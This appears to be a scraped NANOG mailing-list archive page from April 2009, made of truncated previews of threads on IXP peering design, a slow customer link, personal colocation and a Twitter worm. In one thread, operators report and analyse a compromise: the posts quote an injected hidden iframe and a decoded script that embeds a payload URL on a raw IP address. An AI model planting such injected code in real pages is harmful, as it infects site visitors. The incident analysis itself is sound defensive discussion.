BGP Update Report
Interval: 16-Mar-09 -to- 16-Apr-09 (32 days)
Observation Point: BGP Peering with AS131072
TOP 20 Unstable Origin AS
Rank ASNUpds % Upds/PfxAS-Name
1 - AS6389 336400 4.2% 77.1 -- BELLSOUTH-NET-BLK -
BellSouth.net Inc.
2 - AS2386
On Fri, Apr 17, 2009 at 10:11:30AM -0400, Sharlon R. Carty wrote:
Hello NANOG,
I like would to know what are best practices for an internet exchange. I
have some concerns about the following;
Can the IXP members use RFC 1918 ip addresses for their peering?
Can the IXP members use private
Hello NANOG,
I like would to know what are best practices for an internet exchange. I
have some concerns about the following;
Can the IXP members use RFC 1918 ip addresses for their peering?
Can the IXP members use private autonomous numbers for their peering?
Maybe the answer is
This is an automated weekly mailing describing the state of the Internet
Routing Table as seen from APNIC's router in Japan.
Daily listings are sent to bgp-st...@lists.apnic.net
For historical data, please see http://thyme.apnic.net.
If you have any comments please contact Philip Smith
I like would to know what are best practices for an
internet exchange.
I have some concerns about the following; Can the IXP
members use RFC
1918 ip addresses for their peering?
No. Those IP addresses will at least appear on traceroutes;
also, it might not be such a good idea to
On Fri, 17 Apr 2009, Paul Vixie wrote:
with the advent of vlan tags, the whole idea of CSMA for IXP networks is
passe.
just put each pair of peers into their own private tagged vlan.
Uh, I'm not sure whether you're being sarcastic or not.
-Bill
On 17.04.2009 20:52 Paul Vixie wrote
with the advent of vlan tags, the whole idea of CSMA for IXP networks is
passe.
just put each pair of peers into their own private tagged vlan and let one of
them allocate a V4 /30 and a V6 /64 for it. as a bonus, this prevents third
party BGP (which
-Original Message-
From: Eric Van Tol [mailto:e...@atlantech.net]
Sent: Friday, April 17, 2009 2:44 PM
To: nanog@nanog.org
Subject: RE: So I've got this 2.5gig wave, what do I do with it?
-Original Message-
From: Kevin Hunt [mailto:kh...@huntbrothers.com]
Sent: Friday,
On Apr 17, 2009, at 12:00 PM, Arnold Nipper wrote:
On 17.04.2009 20:52 Paul Vixie wrote
with the advent of vlan tags, the whole idea of CSMA for IXP
networks is passe.
just put each pair of peers into their own private tagged vlan and
let one of
them allocate a V4 /30 and a V6 /64 for it.
On 17.04.2009 21:04 kris foster wrote
On Apr 17, 2009, at 12:00 PM, Arnold Nipper wrote:
On 17.04.2009 20:52 Paul Vixie wrote
with the advent of vlan tags, the whole idea of CSMA for IXP
networks is passe.
just put each pair of peers into their own private tagged vlan and
let one of
Sorry, hit send a little early, by accident.
On Apr 17, 2009, at 11:52 AM, Paul Vixie wrote:
with the advent of vlan tags, the whole idea of CSMA for IXP
networks is passe.
just put each pair of peers into their own private tagged vlan.
I'm not sure whether you're being sarcastic, and if
On Fri, 17 Apr 2009, Arnold Nipper wrote:
Large IXP have 300 customers. You would need up to 45k vlan tags,
wouldn't you?
... and exchanging multicast would be... err.. suboptimal.
--
Mikael Abrahamssonemail: swm...@swm.pp.se
On Apr 17, 2009, at 12:05 PM, Arnold Nipper wrote:
On 17.04.2009 21:04 kris foster wrote
On Apr 17, 2009, at 12:00 PM, Arnold Nipper wrote:
On 17.04.2009 20:52 Paul Vixie wrote
with the advent of vlan tags, the whole idea of CSMA for IXP
networks is passe.
just put each pair of peers
the vlan tagging idea is a virtualization of the PNI construct.
why use an IX when running 10's/100's/1000's of private network
interconnects will do?
granted, if out of the 120 ASN's at an IX, 100 are exchanging on
average - 80KBs - then its likley safe to dump them all into a single
physical
We just discovered what we suspect is malicious code appended to all index.html
files on our web server as of the 11:00 central time hour today:
src=http://77.92.158.122/webmail/inc/web/index.php;
style=display: none; height=0 width=0/iframe
iframe
FWIW, 77.92.158.122 resolves to mail.yarisfest.com, not mail.yaris.com
-Original Message-
From: Russell Berg
Sent: Friday, April 17, 2009 3:39 PM
To: 'nanog@nanog.org'
Subject: Malicious code just found on web server
We just discovered what we suspect is malicious code appended to all
Large IXP have 300 customers. You would need up to 45k vlan tags,
wouldn't you?
the 300-peer IXP's i've been associated with weren't quite full mesh
in terms of who actually wanted to peer with whom, so, no.
On Fri, Apr 17, 2009 at 09:00:53PM +0200, Arnold Nipper wrote:
Large IXP have 300 customers. You would need up to 45k vlan tags,
wouldn't you?
Not only that, but when faced with the requirement of making the vlan
IDs match on both sides of the exchange, most members running layer 3
switches
Dear Group member,
We are level one ISP. one of my customer is connected to fast ethernet.
His link speed 100,000 kbps. while downloading any thing from net he
downloading speed donot go above 200 kbps.
While doing multiple download he get aroung 200 kbps in every window. But
when he close all
link speed duplex mismatch ?
---
Nuno Vieira
nfsi telecom, lda.
nuno.vie...@nfsi.pt
Tel. (+351) 21 949 2300 - Fax (+351) 21 949 2301
http://www.nfsi.pt/
- chandrashakher pawar learn.chan...@gmail.com wrote:
Dear Group member,
We are level one ISP. one of my customer is connected to
chandrashakher pawar wrote:
Dear Group member,
We are level one ISP. one of my customer is connected to fast ethernet.
His link speed 100,000 kbps. while downloading any thing from net he
downloading speed donot go above 200 kbps.
While doing multiple download he get aroung 200 kbps in every
Bad cable?... What trouble shooting steps have been done?
--Original Message--
From: chandrashakher pawar
To: na...@merit.edu
Subject: downloading speed
Sent: Apr 17, 2009 5:23 PM
Dear Group member,
We are level one ISP. one of my customer is connected to fast ethernet.
His link speed
On Fri, 17 Apr 2009, bmann...@vacation.karoshi.com wrote:
the vlan tagging idea is a virtualization of the PNI construct.
why use an IX when running 10's/100's/1000's of private network
interconnects will do?
granted, if out of the 120 ASN's at an IX, 100 are exchanging on
average - 80KBs -
On Fri, 17 Apr 2009, bmann...@vacation.karoshi.com wrote:
the vlan tagging idea is a virtualization of the PNI construct.
why use an IX when running 10's/100's/1000's of private network
interconnects will do?
granted, if out of the 120 ASN's at an IX, 100 are exchanging on
average -
--- learn.chan...@gmail.com wrote:
From: chandrashakher pawar learn.chan...@gmail.com
We are level one ISP. one of my customer is connected to fast ethernet.
His link speed 100,000 kbps. while downloading any thing from net he
downloading speed donot go above 200 kbps.
While doing multiple
On 17.04.2009 23:06 Paul Vixie wrote
Large IXP have 300 customers. You would need up to 45k vlan tags,
wouldn't you?
the 300-peer IXP's i've been associated with weren't quite full mesh
in terms of who actually wanted to peer with whom, so, no.
Much depends on your definition of quite.
On Fri, Apr 17, 2009 at 5:23 PM, chandrashakher pawar
learn.chan...@gmail.com wrote:
our router is C12KPRP-K4P-M
Please advise what could be the cause?
Could you perhaps paste the router configuration in your reply? If you
could execute a wr t or a show run, that should provide sufficient
--- sur...@mauigateway.com wrote:
--- learn.chan...@gmail.com wrote:
From: chandrashakher pawar learn.chan...@gmail.com
While doing multiple download he get aroung 200 kbps in every window. But
when he close all the windows no change in downloading speed is observed.
I took a quick look at the code... formatted it in a pastebin here:
http://pastebin.com/m7b50be54
That javascript writes this to the page (URL obscured):
document.write(embed
src=\hXXp://77.92.158.122/webmail/inc/web/include/spl.php?stat=Unknown|Unknown|US|1.2.3.4\
width=\0\ height=\0\
On 18.04.2009 00:04 Paul Vixie wrote
the 300-peer IXP's i've been associated with weren't quite full
mesh in terms of who actually wanted to peer with whom, so, no.
Much depends on your definition of quite. Would 30% qualify?
30% would be an over-the-top success. has anybody ever run out
chandrashakher pawar wrote:
We are level one ISP. one of my customer is connected to fast ethernet.
His link speed 100,000 kbps. while downloading any thing from net he
downloading speed donot go above 200 kbps.
While doing multiple download he get aroung 200 kbps in every window. But
when he
On Fri, Apr 17, 2009 at 04:52:53PM -0500, Joe Greco wrote:
On Fri, 17 Apr 2009, bmann...@vacation.karoshi.com wrote:
the vlan tagging idea is a virtualization of the PNI construct.
why use an IX when running 10's/100's/1000's of private network
interconnects will do?
granted, if
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
On Fri, Apr 17, 2009 at 3:06 PM, Chris Mills securin...@gmail.com wrote:
I took a quick look at the code... formatted it in a pastebin here:
http://pastebin.com/m7b50be54
That javascript writes this to the page (URL obscured):
Configuration
sh run interface FastEthernet1/3/1
Building configuration...
Current configuration : 351 bytes
!
interface FastEthernet1/3/1
description CUST:xxx
bandwidth 10
ip address 116.0.85.13 255.255.255.252
no ip redirects
no ip directed-broadcast
Have him do a traceroute from his PC or router to where he is trying to
download from. Where is it choking?
On Fri, Apr 17, 2009 at 3:21 PM, chandrashakher pawar
learn.chan...@gmail.com wrote:
Configuration
sh run interface FastEthernet1/3/1
Building
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
On Fri, Apr 17, 2009 at 3:15 PM, Paul Ferguson fergdawgs...@gmail.com
wrote:
On Fri, Apr 17, 2009 at 3:06 PM, Chris Mills securin...@gmail.com
wrote:
I took a quick look at the code... formatted it in a pastebin here:
You beat me to it.
-ChrisAM
On Fri, Apr 17, 2009 at 6:31 PM, Paul Ferguson fergdawgs...@gmail.com wrote:
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
On Fri, Apr 17, 2009 at 3:15 PM, Paul Ferguson fergdawgs...@gmail.com
wrote:
On Fri, Apr 17, 2009 at 3:06 PM, Chris Mills
Nice, bad code is actually on all of the error (404) pages for the site as
well as some other php pages.
The code is actually a base64 obfuscation technique to hide the actual
attack code.
Once decode the code attempts multiple attacks to try and get the victim to
download an executable
Several windows in the same PC, doing file transfer in parallel, each
get the same speed as one.
The speed is peaking at some specific speed every single time, and the
several windows reach this peak.
I smell classic TCP window size bumping into (bandwidth x delay).
Have you tried with
Based on the screen shot he's getting, 1536 bps or 192KB. Also if he is
opening several windows but downloading from the same source it may be a
congestion control mechanism on the server or hosting provider side. What's
the utilization on the RT, DSLAM and BRAS, all factors to performance.
Is anyone still doing personal colo on the west coast? I'm looking for a
new home for my personal server on the west coast, and it seems like
the economy has taken out most of the old personal colo offers.
Even the old web page on www.vix.com/personalcolo is gone.
On Fri, Apr 17, 2009 at 06:50:42PM -0400, Sean Donelan wrote:A
Is anyone still doing personal colo on the west coast? I'm looking for a
new home for my personal server on the west coast, and it seems like
the economy has taken out most of the old personal colo offers.
Even the old web page
with the advent of vlan tags, the whole idea of CSMA for IXP networks
is passe. just put each pair of peers into their own private tagged
vlan and let one of them allocate a V4 /30 and a V6 /64 for it. as a
bonus, this prevents third party BGP (which nobody really liked which
sometimes got
On 4/17/09 4:50 PM, Sean Donelan wrote:
Is anyone still doing personal colo on the west coast? I'm looking for a
new home for my personal server on the west coast, and it seems like
the economy has taken out most of the old personal colo offers. Even the
old web page on www.vix.com/personalcolo
chandrashakher pawar wrote:
No errors on the interface.
none of our customer on this router has complait us this issue
i have changed this to negotiation auto as suggested by one of our member.
tommorow customer will test again and reply.
round-trip-time is good, no bacbone chocked.
Unit will
Duplex Mismatch looks to be the problem.
On Fri, Apr 17, 2009 at 3:23 PM, chandrashakher pawar
learn.chan...@gmail.com wrote:
Dear Group member,
We are level one ISP. one of my customer is connected to fast ethernet.
His link speed 100,000 kbps. while downloading any thing from net he
i just restored http://www.vix.com/personalcolo/ from backup. last update
2007. i guess this calls for another round of send me your updates, folks.
re:
Sean Donelan s...@donelan.com writes:
Is anyone still doing personal colo on the west coast? I'm looking for a
new home for my personal
by n3td3v April 17, 2009 5:43 PM PDT
The teenager who takes credit for the worms that hit Twitter earlier
this week has been hired by a Web application development firm and on
Friday released a fifth worm on the microblogging site, he said.
I hope the FBI nip him in the bud, this cannot
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
On Fri, Apr 17, 2009 at 3:06 PM, Chris Mills securin...@gmail.com wrote:
I took a quick look at the code... formatted it in a pastebin here:
http://pastebin.com/m7b50be54
That javascript writes this to the page (URL obscured):
andrew.wallace wrote:
I want this individual made an example of and im not joking.
And I'd like an example made of companies that ignore reports of
security flaws and leave their customers open to such worms; not to
mention giving the impression to misguided teenagers that the only way
So if Al-Qaeda blow up a shopping centre and the guy who masterminded
it turns out to be 17 he gets a job in MI5?
OH MY GOD.
On Sat, Apr 18, 2009 at 2:28 AM, Jack Bates jba...@brightok.net wrote:
andrew.wallace wrote:
I want this individual made an example of and im not joking.
And I'd
And I want cnet to not report this crap.
They glamorise it.
--Original Message--
From: andrew.wallace
To: nanog@nanog.org
To: n3td3v
Subject: Re: Michael Mooney releases another worm: Law Enforcement /
Intelligence Agency's do nothing
Sent: Apr 17, 2009 18:38
So if Al-Qaeda blow up a
I get it now... Chaim Rieger = netdev
Nice trick.
--
Steve
On Sat, 18 Apr 2009, Chaim Rieger wrote:
And I want cnet to not report this crap.
They glamorise it.
--Original Message--
From: andrew.wallace
To: nanog@nanog.org
To: n3td3v
Subject: Re: Michael Mooney releases another worm:
The network community and the security community need to collaborate
as much as possible to defeat the threats.
I'm British and i'm hoping to make UK as secure as possible.
We can only do this by pulling together and reporting intelligence
between community's, either if that's on an open list
Arnold Nipper wrote:
On 17.04.2009 20:52 Paul Vixie wrote
Large IXP have 300 customers. You would need up to 45k vlan tags,
wouldn't you?
Not agreeing or disagreeing with this as a concept, but I'd imagine that
since a number of vendors support arbitrary vlan rewrite on ports that
in
Not agreeing or disagreeing with this as a concept, but I'd imagine
that
since a number of vendors support arbitrary vlan rewrite on ports that
in simple environment you could do some evil things with that. (ie.
you could use QinQ like ATM Virtual Paths between core switches and
then reuse
On 18/04/2009, at 12:08 PM, Paul Vixie wrote:
i should answer something said earlier: yes there's only 14 bits of
tag and
yes 2**14 is 4096. in the sparsest and most wasteful allocation
scheme,
tags would be assigned 7:7 so there'd be a max of 64 peers. it's more
likely that tags would be
So if Al-Qaeda blow up a shopping centre and the guy who masterminded
it turns out to be 17 he gets a job in MI5?
what is more fun than a net vigilante? a ranting and raving hyperbolic
net vigilante.
You are exactly right Randy.
fromRandy Bush ra...@psg.com
to Franck Martin fra...@genius.com
cc 74attend...@ietf.org
dateWed, Mar 18, 2009 at 4:47 PM
subject Re: [74attendees] IETF attendee from Italy or Hong Kong --
visa issue
Yes Stockholm is first but as it seemed to
Not sure how switches handle HOL blocking with QinQ traffic across trunks,
but hey...
what's the fun of running an IXP without testing some limits?
Indeed. Those with longer memories will remember that I used to
regularly apologize at NANOG meetings for the DEC Gigaswitch/FDDI
head-of-line
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
Elmar K. Bins wrote:
I am not an IXP operator, but I know of no exchange (public or
private, big or closet-style) that uses private ASNs or RFC1918
space.
I know of at least two IXPs where RFC 1918 space is used on the IXP
Subnet. I know a fair
61 matches
Mail list logo
